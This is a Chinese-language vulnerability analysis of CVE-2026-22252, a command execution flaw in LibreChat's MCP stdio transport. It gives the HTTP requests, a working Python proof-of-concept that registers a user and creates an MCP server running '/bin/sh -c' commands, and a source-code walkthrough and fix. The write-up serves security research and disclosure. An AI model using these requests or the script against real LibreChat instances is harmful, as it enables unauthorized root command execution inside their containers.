LibreChat MCP Stdio CVE-2026-22252远程代码执行漏洞分析
LibreChat MCP stdio组件因缺乏输入验证,导致 authenticated 用户可执行任意命令,已在v0.8.2-rc2修复。
LibreChat MCP Stdio CVE-2026-22252远程代码执行漏洞分析
漏洞描述
LibreChat 是一个具有附加功能的 ChatGPT 克隆产品。在 v0.8.2-rc2 版本之前,LibreChat 的 MCP stdio 传输接受任意命令,而无需进行验证。这使得任何经过身份验证的用户都可以通过单个 API 请求在容器内部以 root 权限执行 shell 命令。这一漏洞已在 v0.8.2-rc2 版本中修复。

也是给到了 9.1 的评分
环境搭建

下载源码,docker 拉取就好啦
漏洞复现
其实现在很多 AI 类的应用都有这种漏洞,算是一种应用配置 MCP 的通杀吧,最近腾讯的一个 AI 应用也是这样的洞,如果能找个别的组件,应该也能够这样
注册用户
POST /api/auth/register HTTP/1.1
Host: localhost:3080
Sec-Fetch-Dest: document
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Sec-Fetch-Site: none
Content-Type: application/json
Content-Length: 139
{
"name": "Test User",
"email": "test@example.local",
"password": "Password123!",
"confirm_password": "Password123!",
"username": "testuser"
}
回显是正常的,然后我们去登录
POST /api/auth/login HTTP/1.1
Host: localhost:3080
Sec-Fetch-Dest: document
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Sec-Fetch-Site: none
Content-Type: application/json
Content-Length: 139
{"email":"test@example.local","password":"Password123!"}
得到 Token 后,我们就有权限创建 MCP 了吧
POST /api/mcp/servers HTTP/1.1
Host: localhost:3080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY5NjYzYjM4NGY5YWU4YjQ1ZDk4ODAwOSIsInVzZXJuYW1lIjoidGVzdHVzZXIiLCJwcm92aWRlciI6ImxvY2FsIiwiZW1haWwiOiJ0ZXN0QGV4YW1wbGUubG9jYWwiLCJpYXQiOjE3NjgzMDc1NjAsImV4cCI6MTc2ODMwODQ2MH0.X43n8Vf_CVlRHpAWZv1HHiCLhQ__wcT4ODGxil4c2Hw
Sec-Fetch-Dest: document
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Sec-Fetch-Site: none
Content-Type: application/json
Content-Length: 139
{
"config": {
"type": "stdio",
"title": "exploit server",
"command": "/bin/sh",
"args": ["-c", "id > /tmp/pwn.txt"]
}
}
回显显示失败,不过无所谓,因为命令已经执行了

一键利用脚本
#!/usr/bin/env python3
"""
LibreChat MCP Stdio Remote Command Execution PoC
GHSA-cxhj-j78r-p88f
使用方法:
1. 确保目标 LibreChat 实例运行在 http://localhost:3080
2. 运行脚本: python3 poc_librechat_mcp_rce.py
3. 脚本将注册用户、登录并触发漏洞
"""
import requests
import os
BASE_URL = "http://localhost:3080"
# 清理旧文件
for f in ['/tmp/pwned.txt']:
if os.path.exists(f):
os.remove(f)
print("=== LibreChat MCP RCE PoC ===\n")
# 步骤1: 注册用户
print("[1] 注册用户...")
register_data = {
"name": "Test User",
"email": "test2@example.local",
"password": "Password123!",
"confirm_password": "Password123!",
"username": "testuser2"
}
try:
response = requests.post(f"{BASE_URL}/api/auth/register", json=register_data)
print(f" 注册响应: {response.status_code}")
except Exception as e:
print(f" 用户可能已存在: {e}")
# 步骤2: 登录获取 token
print("\n[2] 登录获取 token...")
login_data = {
"email": "test2@example.local",
"password": "Password123!"
}
response = requests.post(f"{BASE_URL}/api/auth/login", json=login_data)
token = response.json()["token"]
print(f" 登录成功, token: {token[:25]}...")
# 步骤3: 触发漏洞
print("\n[3] 触发漏洞 - 创建恶意 MCP 服务器...")
exploit_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
# 恶意 payload: 执行任意 shell 命令
exploit_payload = {
"config": {
"type": "stdio",
"title": "MyServer",
"command": "/bin/sh",
"args": ["-c", "id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt && date >> /tmp/pwned.txt"]
}
}
response = requests.post(
f"{BASE_URL}/api/mcp/servers",
json=exploit_payload,
headers=exploit_headers
)
print(f" 漏洞触发响应: {response.status_code}")
print(f" 响应内容: {response.text[:150]}...")
# 步骤4: 文件读取验证
print("\n[4] 文件读取验证...")
if os.path.exists("/tmp/pwned.txt"):
print(" ✅ /tmp/pwned.txt 已创建!")
with open("/tmp/pwned.txt") as f:
content = f.read()
print(f" 文件内容:")
print(" " + "-" * 40)
for line in content.strip().split('\n'):
print(f" {line}")
print(" " + "-" * 40)
print("\n ✅✅✅ 漏洞复现成功!任意命令执行确认!")
else:
print(" ❌ /tmp/pwned.txt 未找到")

注册 429 是因为我注册太多次了
漏洞分析
数据流分析
用户输入 (HTTP POST /api/mcp/servers)
↓
MCPServerUserInputSchema 验证 (无命令白名单检查)
↓
MCPServersRegistry.addServer()
↓
MCPServerInspector.inspect() ← 漏洞触发点
↓
MCPConnectionFactory.create()
↓
constructTransport() ← 危险的 Sink 点
↓
StdioClientTransport 直接执行用户提供的 command代码分析
入口点: 权限配置
文件: packages/data-provider/src/permissions.ts
export const mcpServersPermissionsSchema = z.object({
[Permissions.USE]: z.boolean().default(true),
[Permissions.CREATE]: z.boolean().default(true), // ← 默认启用创建权限
[Permissions.SHARE]: z.boolean().default(false),
});
export type TMcpServersPermissions = z.infer<typeof mcpServersPermissionsSchema>;- MCP 服务器创建权限 (
CREATE) 默认对所有用户启用 - 任何注册用户都可以创建 MCP 服务器
所以危害很大,因为开启了注册,然后低权限的用户也能够 RCE,不过从业务角度来讲吧,确实 MCP 就是给用户使用的,所以开启了也合理
所以更重要的是对参数的处理
API Schema: 无输入验证
文件: packages/data-provider/src/mcp.ts
export const StdioOptionsSchema = BaseOptionsSchema.extend({
type: z.literal('stdio').optional(),
/**
* The executable to run to start the server.
*/
command: z.string(), // ← 接受任意字符串,无白名单验证
/**
* Command line arguments to pass to the executable.
*/
args: z.array(z.string()), // ← 接受任意参数数组
// ...
});
export const MCPServerUserInputSchema = z.union([
omitServerManagedFields(StdioOptionsSchema), // ← 直接传递 stdio 配置
// ...
]);command字段接受任意字符串,根本就没有做任何的验证args字段接受任意字符串数组
文件: packages/api/src/mcp/connection.ts
function constructTransport(options: t.MCPOptions): Transport {
try:
// ...
switch (type) {
case 'stdio':
if (!isStdioOptions(options)) {
throw new Error('Invalid options for stdio transport.');
}
// ← 直接使用用户提供的 command 和 args
return new StdioClientTransport({
command: options.command, // ← 未经验证的命令
args: options.args, // ← 未经验证的参数
env: { ...getDefaultEnvironment(), ...(options.env ?? {}) },
});
// ...
}
} catch (error) {
this.emitError(error, 'Failed to construct transport');
throw error;
}
}很明显,这里传的时候也没有任何检查
命令在检查时执行
文件: packages/api/src/mcp/registry/MCPServerInspector.ts
public static async inspect(
serverName: string,
rawConfig: t.MCPOptions,
connection?: MCPConnection,
): Promise<t.ParsedServerConfig> {
const start = Date.now();
const inspector = new MCPServerInspector(serverName, rawConfig, connection);
await inspector.inspectServer(); // ← 这里触发命令执行
inspector.config.initDuration = Date.now() - start;
return inspector.config;
}
private async inspectServer(): Promise<void> {
await this.detectOAuth();
if (this.config.startup !== false && !this.config.requiresOAuth) {
let tempConnection = false;
if (!this.connection) {
tempConnection = true;
// ← 创建连接时执行命令
this.connection = await MCPConnectionFactory.create({
serverName: this.serverName,
serverConfig: this.config,
});
}
await Promise.allSettled([
this.fetchServerInstructions(),
this.fetchServerCapabilities(),
this.fetchToolFunctions(),
]);
if (tempConnection) await this.connection.disconnect();
}
} inspectServer() 方法在 MCP 服务器创建时被调用,然后接着,MCPConnectionFactory.create() 创建连接,触发命令执行,而且即使后续连接失败,命令已经执行,这也是我们为什么只需要传入正确的命令执行参数,即使回显
{"error":"MCP_INSPECTION_FAILED","message":"MCP_INSPECTION_FAILED: Failed to connect to MCP server \"temp_server_name\""}****但是也能够成功执行命令的原因
文件: packages/api/src/mcp/registry/MCPServersRegistry.ts
public async addServer(
serverName: string,
config: t.MCPOptions,
storageLocation: 'CACHE' | 'DB',
userId?: string,
): Promise<t.AddServerResult> {
const configRepo = this.getConfigRepository(storageLocation);
let parsedConfig: t.ParsedServerConfig;
try {
// ← 调用 inspect,触发命令执行
parsedConfig = await MCPServerInspector.inspect(serverName, config);
} catch (error) {
logger.error(`[MCPServersRegistry] Failed to inspect server "${serverName}":`, error);
throw new Error(`MCP_INSPECTION_FAILED: Failed to connect to MCP server "${serverName}"`);
}
return await configRepo.add(serverName, parsedConfig, userId);
}在保存配置之前调用 inspect(),而且命令在检查期间执行,发生在任何错误之前
漏洞修复
在 Schema 层面禁止用户通过 API 创建 stdio 类型 MCP 服务器

参考资料
- GitHub Advisory: GHSA-cxhj-j78r-p88f
- LibreChat Repository: https://github.com/danny-avila/LibreChat
- MCP Specification: https://modelcontextprotocol.io/
免责声明
本漏洞分析报告仅用于安全研究和教育目的。请勿将此信息用于未经授权的系统测试。负责任地披露安全漏洞有助于保护用户和改进软件安全性。
LibreChat MCP stdio组件因缺乏输入验证,导致 authenticated 用户可执行任意命令,已在v0.8.2-rc2修复。
由 AI 根据全文自动生成,仅供参考,以原文为准



命令在
inspect()阶段执行,即使后续抛出异常,命令也已执行完毕我们继续看底层,其实也没有啥好说的,跟着走
后续就是创建通信,构造 Transport,会走很多的链路,最后到关键的地方
判断通信模式
我们看看 stdio 模式
把我们的参数作为command 和 args

实例化了一个 StdioClientTransport 对象
调用 start 方法
spawn()直接使用我们提供的command和args